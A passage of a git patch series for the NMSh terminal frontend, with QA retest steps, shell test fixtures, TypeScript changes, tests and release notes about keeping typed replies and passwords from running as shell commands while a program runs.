Ctrl+Q runs it after · Ctrl+S sends to sleep`. Type + `echo next` and Enter: a note says the line may be sleep's reply and never runs by itself; the queue shows + `(typed while sleep ran)`, not the text. When `sleep` ends nothing runs. Empty Enter: the review opens without the + text; Tab shows `echo next`; Enter approves: it runs once. +3. `sleep 5`, type `echo after` and **Ctrl+Q**: it runs after `sleep`, no approval asked. +4. `bash retest/timed-read.sh`; during its 2 s sleep type `ls` and Enter, then `QRETESTQ` and Enter. `QA-TIMED-DONE` + prints; neither runs (no listing, no `command not found`). `/queue`: both show as `(typed while bash ran)`; delete + them. A command typed at the prompt meanwhile runs at once (the held lines never block it). +5. `bash retest/timed-prompt.sh`: `QA code:` appears and gives up after 2 s. Then (within its 3 s) type `123456` and + Enter. `QA-CODE-DONE` prints; `123456` never runs; a note says bash did not read some of your typing and it waits + for your approval. `/queue`: delete it. +6. A9 step 5 (typed before the prompt, no Enter): unchanged. +7. `sh input/delayed-prompt.sh`, type `QSECRETQ` and Enter before the prompt: it is held for approval at once (the note + never shows it). When `QA-Password:` appears, answer `answer`: `got 6 characters`; the held line never runs. + `/queue`: delete it. +8. A9 step 8 (`sudo -k true` with your password): unchanged. +9. `fc -ln -30`: none of the reply words, only the commands you ran or approved. + +**PASS** if no reply or password word is ever shown after its question appeared, run without your approval, or in +history. **FAIL** with a screenshot and `fc -ln -30`. + +### R6 · Prompt hooks and Ctrl+C (#436, replaces A10), Ghostty, zsh, 6 min +1. `sleep 30`, Ctrl+C, then at once `echo after` and Enter: the composer may say `Runs at the prompt once sleep stops`; + `after` runs once, as its own command, when the prompt is back. +2. `read -r x`, Ctrl+C, then at once `echo after` and Enter: the same. +3. `bash retest/survivor.sh` (it ignores Ctrl+C): Ctrl+C, then at once `yes` and Enter: about 2 s after the Ctrl+C the + line reaches it as its answer (`QA-GOT=yes`); `yes` never runs as a command. +4. `source input/slow-hook.zsh`. Run `true`, and before the prompt returns (2 s) type `echo after` and Enter: it runs + once at the prompt, whole (never `cho after` or `command not found`), never held for approval, and NMSh never says + `true` is waiting for input. Three times. Undo: `precmd_functions=(${precmd_functions:#qa_slow_hook})`. + +### R7 · Progress and window size (#443, replaces A1 steps 1–3 and 6, and B1), 8 min +1. Ghostty, zsh: A1 steps 1, 2, 3 and 6. +2. `sh -c 'trap "echo QA-WINCH" WINCH; sleep 10'`. While it runs, paste three lines (Enter inserts them, the composer + grows), press Enter (held for approval), and run `/queue` then Esc: no `QA-WINCH`. Then resize the window: `QA-WINCH` + while you drag. `/queue`: delete the held line. +3. `vim view/tabs.txt`, resize the window, `:q`: vim redraws at the new size and the composer returns. +4. Terminal.app, `nmsh2 fish`: A1 steps 2, 3, 5 and 6 (as B1). + +**PASS** if progress reads as in A1, only real window resizes reach the program, and full-screen programs use the +whole window. ## Sitting A: Ghostty, zsh (about 80 minutes; a break fits after A7) @@ -266,6 +318,8 @@ Run `echo one`, a two-line command (`echo two` Ctrl+J `echo three`, Enter) and ` 5. `sleep 10`, then Up: history recalls into the composer for the next command, never into `sleep`. ### A9 · Passwords and replies (#426), 12 min +*Run on `68c1cbb7`; for the hardened candidate, R5 replaces it (steps 3, 6 and 7 describe the old routing).* + Replies are made-up words, never a real password (only step 8 uses yours). `≡ 1 queued` is the queue's count. 1. `read -r reply; echo got=$reply`: type `hello` and Enter **at once**: `got=hello`; `≡` never appears. Again after a @@ -303,6 +357,8 @@ Replies are made-up words, never a real password (only step 8 uses yours). `≡ history (step 10). **FAIL** with a screenshot and `fc -ln -30`. ### A10 · Prompt hooks and Ctrl+C (#436), 4 min +*Run on `68c1cbb7`; for the hardened candidate, R6 replaces it.* + 1. `sleep 30`, Ctrl+C, then at once `echo after` and Enter: `after` once, as its own command. 2. `read -r x`, Ctrl+C, then at once `echo after` and Enter: the same. 3. `source input/slow-hook.zsh`. Run `true`, and before the prompt returns (2 s) type `echo after` and Enter: it runs diff --git a/scripts/qa/v022-retest-fixtures.sh b/scripts/qa/v022-retest-fixtures.sh index 07ab5b4b..53e9078b 100755 --- a/scripts/qa/v022-retest-fixtures.sh +++ b/scripts/qa/v022-retest-fixtures.sh @@ -105,5 +105,23 @@ echo QA-TIMED-DONE EOF chmod +x "$retest/timed-read.sh" +# R5 (an answer the program never reads): a prompt that gives up after 2 s, then 3 s more of work. +add "$retest/timed-prompt.sh" <<'EOF' +#!/usr/bin/env bash +read -t 2 -r -p 'QA code: ' code || true +sleep 3 +echo QA-CODE-DONE +EOF +chmod +x "$retest/timed-prompt.sh" + +# R6 (a program that survives Ctrl+C and asks). +add "$retest/survivor.sh" <<'EOF' +#!/usr/bin/env bash +trap '' INT +read -r -p 'Still here? ' answer +echo "QA-GOT=$answer" +EOF +chmod +x "$retest/survivor.sh" + echo "Retest fixtures ready in $retest" echo "Start the retest build with: $root/nmsh2 (or: $root/nmsh2 fish, $root/nmsh2 bash)" diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 1c8e04ee..6da17750 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -939,9 +939,12 @@ export class TerminalApp { * Lines entered right after Ctrl+C or Ctrl+Z, for the prompt the stop brings back (#426, #436). Held, never written * to the terminal, until the outcome is verified: the prompt (they run there, unless the program asked meanwhile), * a question asked after the stop (they are its reply), or the end of the stop window with the program still running - * (they are held for approval like any line typed while it runs). + * (they go to it; what it never reads is taken back at its end and held for approval). Also lines begun once the + * shell said the command is done (`done`): only the prompt settles those. */ private stopAhead?: {startId: number; lines: string[]; program: string; timer?: NodeJS.Timeout; done: boolean}; + /** Applies a question report held back during a stop window (see onInputState), once. */ + private staleStopReport?: () => void; /** Set while held keys are replayed after their command ended: an Enter among them was pressed while it ran. */ private replayTypedWhile?: string; /** Held lines (typedWhile) the person chose to see, by queue entry id; everything else shows where it came from. */ @@ -11802,6 +11805,8 @@ export class TerminalApp { private settleStopAhead(how: 'prompt' | 'asked' | 'window' | 'cancel' | 'drop', asked = false): void { const held = this.stopAhead; if (!held) return; + // A question held back during the window applies first, whichever timer fires first: the program still reads. + if (how === 'window') this.staleStopReport?.(); if (how === 'window' && this.running?.startId === held.startId && this.inputState?.request) how = 'asked'; if (how === 'window' && this.running?.startId !== held.startId) return; if (held.timer) clearTimeout(held.timer); @@ -11809,9 +11814,12 @@ export class TerminalApp { if (how === 'drop') return; if (how === 'cancel') { this.editor.replaceText(held.lines.join('\n')); this.render(); return; } if (how === 'asked') { this.session.write(held.lines.map(line => `${line}\r`).join('')); this.answerSent(); this.render(); return; } - // The program survived the stop and is still running, or asked something before it ended: no line is known to - // be for the prompt, so each waits for approval like any line typed while a command runs. - if (how === 'window' || asked) { for (const line of held.lines) this.enqueue(line, held.program); return; } + // The program survived the stop: the lines go to it, as a terminal delivers type-ahead (it may ask without NMSh + // seeing it: on macOS the ^C a terminal echoes ends the question-shaped line). Whatever it never reads, the shell + // takes back when the command ends, and it waits for approval there: never a command by itself. + if (how === 'window') { this.session.write(held.lines.map(line => `${line}\r`).join('')); this.answerSent(); this.render(); return; } + // It asked something after the stop and then ended: no line is known to be for the prompt; each waits for approval. + if (asked) { for (const line of held.lines) this.enqueue(line, held.program); return; } // The verified prompt: the first line as if entered there, any others queued after it, in order. const [first, ...rest] = held.lines; if (this.editor.text || !first) { for (const line of held.lines) this.enqueue(line); return; } @@ -12275,9 +12283,12 @@ export class TerminalApp { const {request: _ended, ...current} = state; const running = this.running; const reported = state; - const later = setTimeout(() => { + const apply = () => { + if (this.staleStopReport === apply) this.staleStopReport = undefined; if (this.running === running && this.inputState === current) this.onInputState(reported); - }, Math.max(0, stoppedAt + STOP_TYPE_AHEAD_MS - Date.now())); + }; + this.staleStopReport = apply; + const later = setTimeout(apply, Math.max(0, stoppedAt + STOP_TYPE_AHEAD_MS - Date.now())); later.unref?.(); state = current; } diff --git a/tests/inputOwnershipLive.test.ts b/tests/inputOwnershipLive.test.ts index cd21506f..d8360d3e 100644 --- a/tests/inputOwnershipLive.test.ts +++ b/tests/inputOwnershipLive.test.ts @@ -199,3 +199,21 @@ test('live zsh: a command typed right after Ctrl+C on a waiting question is kept assert.doesNotMatch(strip(frontend.output.slice(mark)), /reply was discarded/u, 'it was never taken for a reply'); } finally { await sandbox.dispose(); } }); + +test('live zsh: a program that survives Ctrl+C and asks gets the line typed right after it as its answer; it never runs as a command', {skip: supported ? false : 'unsupported platform', timeout: 120_000}, async () => { + const {sandbox, frontend} = await start('zsh'); + try { + const mark = frontend.mark; + const command = `bash -c 'trap "" INT; read -r -p "Still-$((1+1))? " a; echo "QA-GOT=$a"'`; + frontend.pty.write(`${command}\r`); + await frontend.waitFor(/Still-2\? /u, mark); + await pause(1200); + frontend.pty.write('\u0003'); + await type(frontend, 'yes', 20); + frontend.pty.write('\r'); + await frontend.waitFor(/QA-GOT=yes/u, mark, 15_000); + await until(async () => (await records(sandbox)).some(record => record.command === command), 15_000, 'the program to finish'); + await pause(1500); + assert.equal((await records(sandbox)).some(record => record.command === 'yes'), false, 'never run as a command'); + } finally { await sandbox.dispose(); } +}); diff --git a/tests/inputQuarantine.test.ts b/tests/inputQuarantine.test.ts index a332e460..028b0c60 100644 --- a/tests/inputQuarantine.test.ts +++ b/tests/inputQuarantine.test.ts @@ -206,7 +206,7 @@ test('right after Ctrl+C, the program keeps running and asks: the line is its re } finally { f.dispose(); } }); -test('right after Ctrl+C, the program survives and nothing asks: when the stop window ends the line is held for approval', async t => { +test('right after Ctrl+C, the program survives and nothing NMSh can see asks: when the stop window ends the line goes to it, as a terminal would', async t => { const f = fixture(); try { t.mock.timers.enable({apis: ['setTimeout']}); @@ -215,11 +215,14 @@ test('right after Ctrl+C, the program survives and nothing asks: when the stop w f.tick(50); f.type('123456'); f.enter(); + assert.equal(f.written.some(data => data.includes('123456')), false, 'not during the window'); f.tick(2500); t.mock.timers.tick(2500); await settled(); - assert.equal(f.entry('123456')?.condition, 'approve', 'held for approval'); - assert.equal(f.written.some(data => data.includes('123456')), false); + // The program survived: it gets the line (on macOS NMSh cannot see a read after Ctrl+C echoed ^C onto its line). + // If it never reads it, the shell takes it back when the command ends and the owner holds it (unreadInputLive). + assert.equal(f.written.join(''), '123456\r'); + assert.deepEqual(f.owner.state.entries, []); f.complete(0); await settled(); assert.deepEqual(f.submitted, []); assert.deepEqual(f.dispatched, []); @@ -326,3 +329,26 @@ test('a line started while the command still ran, entered after it said done: he assert.equal(f.entry('123456')?.condition, 'approve'); } finally { f.dispose(); } }); + +test('right after Ctrl+C, the program kept reading the question it asked before the stop: when the window ends the line is its answer', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin("trap '' INT; read -r -p 'Still here? ' a"); + const asked = Date.now(); + f.state({since: asked, confidence: 'likely', mode: 'line'}); + f.tick(500); + f.key('\u0003'); + f.tick(20); + f.type('yes'); + f.enter(); + // The session reports the same question again (sampled around the stop), after the Enter: held back during the + // window, whatever order the two timers have. + f.tick(20); + f.state({since: asked, confidence: 'likely', mode: 'line'}); + assert.deepEqual(f.written, [], 'nothing written during the stop window'); + f.tick(2500); t.mock.timers.tick(2500); await settled(); + assert.equal(f.written.join(''), 'yes\r', 'the program kept reading: the line is its answer'); + assert.deepEqual(f.owner.state.entries, []); + } finally { f.dispose(); } +}); From 4c54bcc9f9fd88397e5ea1fcb946ae52bb999e30 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 22:03:53 +0530 Subject: [PATCH 100/157] Tests: Fish output integrity churns NMSh's composer while Fish writes (#443) --- tests/fishOutputIntegrityLive.test.ts | 21 ++++++++++++++++----- 1 file changed, 16 insertions(+), 5 deletions(-) diff --git a/tests/fishOutputIntegrityLive.test.ts b/tests/fishOutputIntegrityLive.test.ts index dbb2de95..47f37d04 100644 --- a/tests/fishOutputIntegrityLive.test.ts +++ b/tests/fishOutputIntegrityLive.test.ts @@ -11,10 +11,11 @@ import {LiveSandbox, strip, until} from './helpers/liveFrontend.js'; */ const fish = ['/opt/homebrew/bin/fish', '/usr/local/bin/fish', '/usr/bin/fish'].find(existsSync); const supported = process.platform === 'darwin' || process.platform === 'linux'; -const COMMANDS = 12; -const LINES = 400; +const COMMANDS = 8; +const LINES = 3000; +const pause = (ms: number) => new Promise(done => setTimeout(done, ms)); -test('live fish: builtin output arrives whole across many command starts and ends; no interrupted write', {skip: supported && fish ? false : 'fish not installed', timeout: 240_000}, async () => { +test('live fish: builtin output arrives whole while NMSh\'s chrome changes under it; no interrupted write', {skip: supported && fish ? false : 'fish not installed', timeout: 300_000}, async () => { const sandbox = new LiveSandbox({provider: 'none', shellBackend: 'fish'}); const frontend = sandbox.launch([], {cols: 100, rows: 30}); frontend.pty.onData(data => { @@ -30,12 +31,22 @@ test('live fish: builtin output arrives whole across many command starts and end const command = `for i in (seq ${LINES}); echo OUT-${run}-$i; end; echo END-${run}`; const before = await frontend.completions(command); frontend.pty.write(`${command}\r`); - await until(async () => await frontend.completions(command) > before, 30_000, `command ${run} to complete`); + // While Fish writes, the composer grows and shrinks (Ctrl+J newlines, then Ctrl+U): the chrome NMSh used to + // follow with the shell's terminal size. + for (let churn = 0; churn < 6 && await frontend.completions(command) === before; churn += 1) { + frontend.pty.write('a\nb\nc\nd'); + await pause(60); + frontend.pty.write('\u0015\u0015\u0015\u0015'); + await pause(60); + } + await until(async () => await frontend.completions(command) > before, 60_000, `command ${run} to complete`); + frontend.pty.write('\u0015\u0015\u0015\u0015'); const records = (await sandbox.transcripts().list()).flatMap(session => session.transcript.records).filter(record => record.command === command); const output = records.at(-1)?.output ?? strip(frontend.output.slice(mark)); const seen = new Set(output.match(new RegExp(`OUT-${run}-\\d+`, 'gu')) ?? []); + assert.doesNotMatch(output, /Interrupted system call/u, `command ${run}: no interrupted write`); assert.equal(seen.size, LINES, `command ${run}: every line of Fish's own output arrived`); - assert.doesNotMatch(output, /Interrupted system call/u); + await pause(300); } } finally { await sandbox.dispose(); } }); From 87b6e2f36e88b82314ec5aaf5f97348ac18926ee Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 22:24:19 +0530 Subject: [PATCH 101/157] Tests: live commands typed for the prompt wait for it; Dock Top and panel PTY rows follow the reference layout (#426, #443) Under the new routing a line typed while a command still runs waits for approval, so live tests that type the next command right after starting one (an approval, an answer, a full-screen program's exit) raced its prompt on slower CI runners. Frontend.run now waits for the shells to be idle first; tests that mean to queue use Ctrl+Q. The PTY-row tests assert the reference layout (a panel opening or closing never resizes the shell's terminal). --- tests/compatibilityHarness.test.ts | 3 +++ tests/dockTop.test.ts | 5 ++++- tests/fishOutputIntegrityLive.test.ts | 4 +++- tests/helpers/liveFrontend.ts | 13 +++++++++++-- tests/screenPlan.test.ts | 8 ++++---- 5 files changed, 25 insertions(+), 8 deletions(-) diff --git a/tests/compatibilityHarness.test.ts b/tests/compatibilityHarness.test.ts index 2ce2375a..5899a538 100644 --- a/tests/compatibilityHarness.test.ts +++ b/tests/compatibilityHarness.test.ts @@ -143,6 +143,9 @@ test('raw job-control, EOF and arrow bytes reach a full-screen program unchanged app.pty.write('\u001b[1;5C'); await app.waitFor(/INTERACTIVE-BYTES-1b5b313b3543/, mark); app.pty.write('q'); await app.waitFor(/INTERACTIVE-EXIT-0/, mark); + // The prompt first: keys typed into the program as it exits are its own, and what it never read is taken back and + // held for approval when its command ends (#426), never run. + await until(async () => (await sandbox.sessions())[0]?.running === undefined, 15_000, 'the prompt after the program'); await app.run('echo AFTER-RAW', /AFTER-RAW/); } finally { await sandbox.dispose(); } }); diff --git a/tests/dockTop.test.ts b/tests/dockTop.test.ts index fb6b8f4a..4f4f62ff 100644 --- a/tests/dockTop.test.ts +++ b/tests/dockTop.test.ts @@ -76,7 +76,10 @@ test('Dock Top render, cursor, mouse hover/click and PTY rows all follow the pla const input = regionOf(plan, 'input')!; assert.ok(input.top < plan.transcript.top, 'composer above transcript'); assert.equal(frame.cursorRow, terminalRowFromScreen(input.top)); - assert.equal(sizes.at(-1), plan.ptyRows); + // The shell's terminal is the reference layout's capacity (#443): never more rows than this frame's transcript can + // hold, and the same whatever chrome the frame has. + assert.equal(sizes.at(-1), app['ptyRows'](80, 20)); + assert.ok(sizes.at(-1)! <= plan.ptyRows); const wrapped = app['output'].wrapped(80); const lastRow = plan.transcript.top + plan.transcript.height - 1; assert.equal(stripAnsi(frame.rows[lastRow]!), wrapped.at(-1)!.plain, 'newest output at the transcript bottom'); diff --git a/tests/fishOutputIntegrityLive.test.ts b/tests/fishOutputIntegrityLive.test.ts index 47f37d04..7ddefa41 100644 --- a/tests/fishOutputIntegrityLive.test.ts +++ b/tests/fishOutputIntegrityLive.test.ts @@ -40,7 +40,9 @@ test('live fish: builtin output arrives whole while NMSh\'s chrome changes under await pause(60); } await until(async () => await frontend.completions(command) > before, 60_000, `command ${run} to complete`); - frontend.pty.write('\u0015\u0015\u0015\u0015'); + // At the prompt, Ctrl+C clears whatever the churn left in the composer, so the next command starts clean. + await pause(200); + frontend.pty.write('\u0003'); const records = (await sandbox.transcripts().list()).flatMap(session => session.transcript.records).filter(record => record.command === command); const output = records.at(-1)?.output ?? strip(frontend.output.slice(mark)); const seen = new Set(output.match(new RegExp(`OUT-${run}-\\d+`, 'gu')) ?? []); diff --git a/tests/helpers/liveFrontend.ts b/tests/helpers/liveFrontend.ts index 29e1b13c..dc49474c 100644 --- a/tests/helpers/liveFrontend.ts +++ b/tests/helpers/liveFrontend.ts @@ -75,7 +75,8 @@ export class LiveSandbox { /** Include externally launched PTYs in the same lifecycle, e.g. built CLI and screen fixtures. */ trackFrontend(pty: IPty): Frontend { const frontend = new Frontend(pty, async command => - (await this.transcripts().list()).flatMap(session => session.transcript.records).filter(record => record.command === command).length); + (await this.transcripts().list()).flatMap(session => session.transcript.records).filter(record => record.command === command).length, + async () => (await this.sessions()).every(session => session.running === undefined)); this.frontends.push(frontend); return frontend; } @@ -167,7 +168,8 @@ export class Frontend { exitSignal: number | undefined; readonly exited: Promise; - constructor(readonly pty: IPty, private readonly completedCount: (command: string) => Promise) { + constructor(readonly pty: IPty, private readonly completedCount: (command: string) => Promise, + private readonly shellsIdle: () => Promise = async () => true) { pty.onData(data => { this.output += data; }); this.exited = new Promise(resolve => pty.onExit(event => { this.exitCode = event.exitCode; this.exitSignal = event.signal; resolve(event.exitCode); })); } @@ -196,6 +198,13 @@ export class Frontend { } async run(command: string, expect: RegExp, {completion = true} = {}): Promise { + // At the prompt, as a person types a command they mean to run (#426): a line typed while another command still + // runs waits for approval, so a test that just started one (an approval, an answer) waits for its prompt first. + // Tests that mean to queue use Ctrl+Q. + if (!parseSlashCommand(command) && !(await this.shellsIdle())) { + await until(() => this.shellsIdle(), 30_000, `the prompt before ${command}`); + await new Promise(done => setTimeout(done, 250)); + } const mark = this.mark; const completed = await this.completedCount(command); this.pty.write(`${command}\r`); diff --git a/tests/screenPlan.test.ts b/tests/screenPlan.test.ts index f2fa05f1..6deddabd 100644 --- a/tests/screenPlan.test.ts +++ b/tests/screenPlan.test.ts @@ -250,7 +250,7 @@ test('scroll paging uses the rendered transcript height including shell suggesti } }); -test('PTY resizes to plan rows on panel open/close and full screen in passthrough', () => { +test('the shell\'s rows come from the reference layout: a panel opening or closing never resizes it; passthrough gets the full terminal', () => { const app = appWithOutput(); try { const sizes: number[] = []; @@ -258,14 +258,14 @@ test('PTY resizes to plan rows on panel open/close and full screen in passthroug app['renderer'].render = (() => {}) as never; app['render'](); const closed = sizes.at(-1)!; - assert.equal(closed, 16, 'v0.4: 20 rows minus gap, prompt, input, separator'); + assert.equal(closed, 15, '20 rows minus prompt, input, separator and a running command\'s two activity rows (#443)'); + const resizes = sizes.length; app['appearanceHub'] = {} as never; Object.defineProperty(app, 'settingsPanelRows', {value: () => Array.from({length: 6}, () => 'panel'), configurable: true}); app['render'](); - assert.equal(sizes.at(-1), 14); app['appearanceHub'] = undefined; app['render'](); - assert.equal(sizes.at(-1), closed); + assert.equal(sizes.length, resizes, 'opening and closing a panel never resizes the shell\'s terminal'); app['passthrough'] = true; app['onResize'](); assert.equal(sizes.at(-1), 20, 'passthrough keeps the full terminal'); From b869e6f034d99972b051bae4f810945068af3cc7 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 22:30:45 +0530 Subject: [PATCH 102/157] Input ownership: a late report of the question just answered never takes the next command's keys (#426) After the Enter that answers a hidden line (or the key that answers a key read), a report of that same question the session sampled before it saw the answer could arrive afterwards and put typing back into direct mode: the first keys of the next command went to the program, were never read, and were taken back as a held fragment while the rest reached the composer (seen in CI as a split type-ahead in typingAfterRead). A report of a question no newer than the one just answered is stale and is dropped; a new question starts later. Ctrl+C and Ctrl+Z are no answer: a program that reads through them still asks (#436). --- src/app/TerminalApp.ts | 23 ++++++++++++++++++----- tests/inputQuarantine.test.ts | 21 +++++++++++++++++++++ 2 files changed, 39 insertions(+), 5 deletions(-) diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 6da17750..69404058 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -943,6 +943,11 @@ export class TerminalApp { * shell said the command is done (`done`): only the prompt settles those. */ private stopAhead?: {startId: number; lines: string[]; program: string; timer?: NodeJS.Timeout; done: boolean}; + /** + * The question an answer was just sent to. A report of it sampled before the session saw the answer can arrive + * after it: it is stale, and must not send the next command's keys to the program (a new question starts later). + */ + private answeredQuestion?: {startId: number; since: number}; /** Applies a question report held back during a stop window (see onInputState), once. */ private staleStopReport?: () => void; /** Set while held keys are replayed after their command ended: an Enter among them was pressed while it ran. */ @@ -2516,7 +2521,7 @@ export class TerminalApp { this.session.interrupt(); // Ctrl+C ends a waiting question: what is typed next is for the prompt, never a reply to discard. this.runningDraft = undefined; - this.answerSent(); + this.answerSent(true); } else { this.editor.clear(); this.selectedSuggestion = 0; @@ -2534,7 +2539,7 @@ export class TerminalApp { // Job control belongs to zsh: forward ^Z so it stops the foreground job. // With no foreground command there is nothing to suspend, so the idle // composer ignores it rather than treating it as text, undo, or exit. - if (this.running) { this.running.stoppedAt = Date.now(); this.session.write('\u001A'); this.runningDraft = undefined; this.answerSent(); } + if (this.running) { this.running.stoppedAt = Date.now(); this.session.write('\u001A'); this.runningDraft = undefined; this.answerSent(true); } return; } // Anything but Up/Down (typing, pasting, deleting, moving the caret, selecting) makes a recalled command a draft: @@ -12272,6 +12277,11 @@ export class TerminalApp { private onInputState(state: InputState): void { // A state for a finished run (a late message) never resurrects it. if (!this.running) return; + // The question just answered, reported late: it is answered (#426). A later one is new. + if (state.request && this.answeredQuestion?.startId === this.running.startId && state.request.since <= this.answeredQuestion.since) { + const {request: _answered, ...rest} = state; + state = rest; + } // A question newer than the hidden one NMSh answered: typing from now on may be its reply, not type-ahead. if (state.request && this.hiddenAnswer && state.request.since > this.hiddenAnswer.at) this.hiddenAnswer = undefined; // A question that began before Ctrl+C or Ctrl+Z is the one the stop ended, reported late (the session sampled it @@ -12557,7 +12567,7 @@ export class TerminalApp { if (key.kind === 'interrupt') { if (this.running) { this.running.interrupted = true; this.running.stoppedAt = Date.now(); } this.session.interrupt(); - this.answerSent(); + this.answerSent(true); return; } if (key.kind === 'eof') { this.session.endInput(); return; } @@ -12575,8 +12585,11 @@ export class TerminalApp { * keys typed next (the next command, at typing speed) are routed on fresh evidence, never on the question that was * just answered, so they never reach a program that stopped reading or a shell prompt NMSh does not draw. */ - private answerSent(): void { - if (this.inputState?.request) this.inputState = {timing: this.inputState.timing}; + private answerSent(stopped = false): void { + const request = this.inputState?.request; + // A stop is no answer: a program that reads through Ctrl+C still asks the same question (#436). + if (request && this.running && !stopped) this.answeredQuestion = {startId: this.running.startId, since: request.since}; + if (request) this.inputState = {timing: this.inputState!.timing}; this.commandLine.reset(); } diff --git a/tests/inputQuarantine.test.ts b/tests/inputQuarantine.test.ts index 028b0c60..5cbfb3d0 100644 --- a/tests/inputQuarantine.test.ts +++ b/tests/inputQuarantine.test.ts @@ -352,3 +352,24 @@ test('right after Ctrl+C, the program kept reading the question it asked before assert.deepEqual(f.owner.state.entries, []); } finally { f.dispose(); } }); + +test('a stale report of the hidden question just answered never sends the next command\'s keys to the program', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('read -s pw; echo done'); + const since = Date.now(); + f.state({since, confidence: 'confirmed', mode: 'hidden'}); + f.tick(200); + f.type('pw'); + f.enter(); + assert.equal(f.written.join(''), 'pw\r', 'the answer went to the program'); + // The session sampled the question before it saw the Enter; that report arrives now. + f.state({since, confidence: 'confirmed', mode: 'hidden'}); + f.type('echo NEXT'); + assert.equal(f.written.join(''), 'pw\r', 'not one key of the next command went to the program as a hidden reply'); + // A new question (asked after the answer) still gets typing directly. + f.tick(300); + f.state({since: Date.now(), confidence: 'confirmed', mode: 'hidden'}); + } finally { f.dispose(); } +}); From 344459aea3a266c7a2e2ec2ac4847f10972143c9 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 22:32:10 +0530 Subject: [PATCH 103/157] Docs: v0.22 hardening ledger, exit-time typing limitation (#426, #443) --- CHANGELOG.md | 1 + docs/development/v022-ledger.md | 86 +++++++++++++++++++++++++++++++++ 2 files changed, 87 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1a945271..230a0b3a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -81,6 +81,7 @@ This is a release candidate: it is published only after its physical-terminal QA - **Input while a command runs** ([#426](https://github.com/raiseCatError/notMyShell/issues/426), [#436](https://github.com/raiseCatError/notMyShell/issues/436)). What NMSh can and cannot tell: - *Nothing typed while a command runs becomes a shell command by itself:* a line entered then waits for approval, typing the command never read is taken back from the terminal when it ends and waits for approval, and a line after Ctrl+C runs only at the prompt the stop brings back. What runs by itself is what you submit at the prompt, queue with Ctrl+Q, or approve. - *A reply to a read NMSh has not seen yet* (no prompt, echo on, on a loaded machine, or any program's read on macOS) is held for approval instead of reaching the program: the program keeps waiting until you answer it again or send the line with Ctrl+S. A line typed after Ctrl+C for a question the program asks without NMSh seeing it, which then gives up before the program ends, still runs at the prompt. + - *Keys typed into a full-screen or interactive program as it exits* (`:q` then `ls` at once) are the program's: those it never reads are taken back when its command ends and wait for approval, instead of running at the prompt as in a plain terminal. - *An answer NMSh sends to a question it sees* reaches the terminal at once. If the program stops reading in the same instant (a timed read giving up exactly then), NMSh cannot take back what the kernel already holds, but the shell's prompt hook takes it out before reading its next command, and NMSh holds it. Input sent within the instant between the shell finishing the command and NMSh learning so (well under a millisecond on an idle machine) can still reach the shell; that window is the limit of what a terminal frontend can see. - *Hidden input* (echo off) is never shown, queued or run on a guess. Typing NMSh cannot place is held until NMSh sees the program's question (then it goes to the program, as its answer) or you choose (while the command runs: Ctrl+S sends it, Tab shows it, Esc discards it; at the prompt: Tab or Esc); a command that ends while typing was held past 0.8 s discards it. - *History:* typed input reaches your shell's history and NMSh's journal only when it runs as a command (a composer line you submit, a Ctrl+Q entry or one you approve); the transcript also shows what a program echoes back (a visible reply), never hidden input. Held typing and entries waiting for approval stay in memory and are never written to disk. diff --git a/docs/development/v022-ledger.md b/docs/development/v022-ledger.md index 146c6266..551203b1 100644 --- a/docs/development/v022-ledger.md +++ b/docs/development/v022-ledger.md @@ -292,3 +292,89 @@ Decisions and risks: default, local model only), with the quality limit in Known limitations. - Lesson: `git stash` does not take untracked files. One test file was swept into another branch's commit, amended out and force-pushed with a lease (#448, `31fab989` → `3d606e7a`); each branch now has its own worktree. + +## Final hardening pass (2026-10-19, #457) + +Baseline `release/v0.22.0` = `fa7ec665`; work in `…/worktrees/notMyShell/v022-harden` (branch `fix/v022-harden`), baseline +evidence in `…/v022-harden-base` (detached at `fa7ec665`, scratch copies of the new tests, never committed). Scratch +volume `T7Tmp` verified (`62D4E8A9-087C-4927-A62F-25BB88B7F1C7`). + +**Maintainer decisions** (asked before any routing change, as a redesign of the queue's typing UX): +- While a command runs and NMSh sees no question, a plain Enter **quarantines** the line (held for approval, shown by + where it came from); **Ctrl+Q** is the explicit run-after. Chosen over "only Ctrl+Q queues" and "hold at the prompt". +- An **older session service** fails closed and keeps its sessions (rather than running new sessions in-process). + +### #426: exact root cause + +NMSh cannot observe every read: a prompt-less read that gives up between looks, and any program's read on macOS, are +invisible. Two independent routes then turned a reply into a shell command: +1. **Withheld input.** A plain Enter while a command ran queued the line in the owner's queue to run by itself after a + successful command. #448 held only lines whose first word was not a known command, so a reply that is itself a + command (`yes`, `ls`, `sudo`), a code or an assignment still ran. Keys held for an ownership look whose command ended + were also replayed at the prompt, so their Enter submitted the line directly. +2. **Delivered input.** Bytes NMSh wrote to the PTY for a program (an answer to a question that had just expired, keys + in passthrough, a hidden reply after a read timed out) and that the program never read stayed in the terminal's + input queue. The shell (zsh and Bash read commands in canonical mode, Fish's reader in raw mode) then read a whole line + as its next command and glued a partial line onto the next submission. Reproduced on `fa7ec665`, all three shells: + `["sleep 1","echo QZ-RAN","QZSECRETecho NEXT"]`. + +### What changed architecturally + +Execution now depends on the input's lifecycle, never on its text. A line runs as a command only when it is submitted at +a verified prompt, queued with Ctrl+Q, or approved: +- **Withheld lines** carry `typedWhile` (`CommandQueue`): the *owner* forces approval and refuses to clear it; every + queue surface masks the text until Tab (`shownQueue`); Up never recalls it; held-look replays keep the rule + (`replayTypedWhile`); a held head never blocks a command submitted at the prompt. +- **Delivered bytes never outlive their command:** `ShellSession` writes a per-session flag before the first byte it + delivers to a running command; each shell's first prompt hook, if the flag is set, drains the terminal + 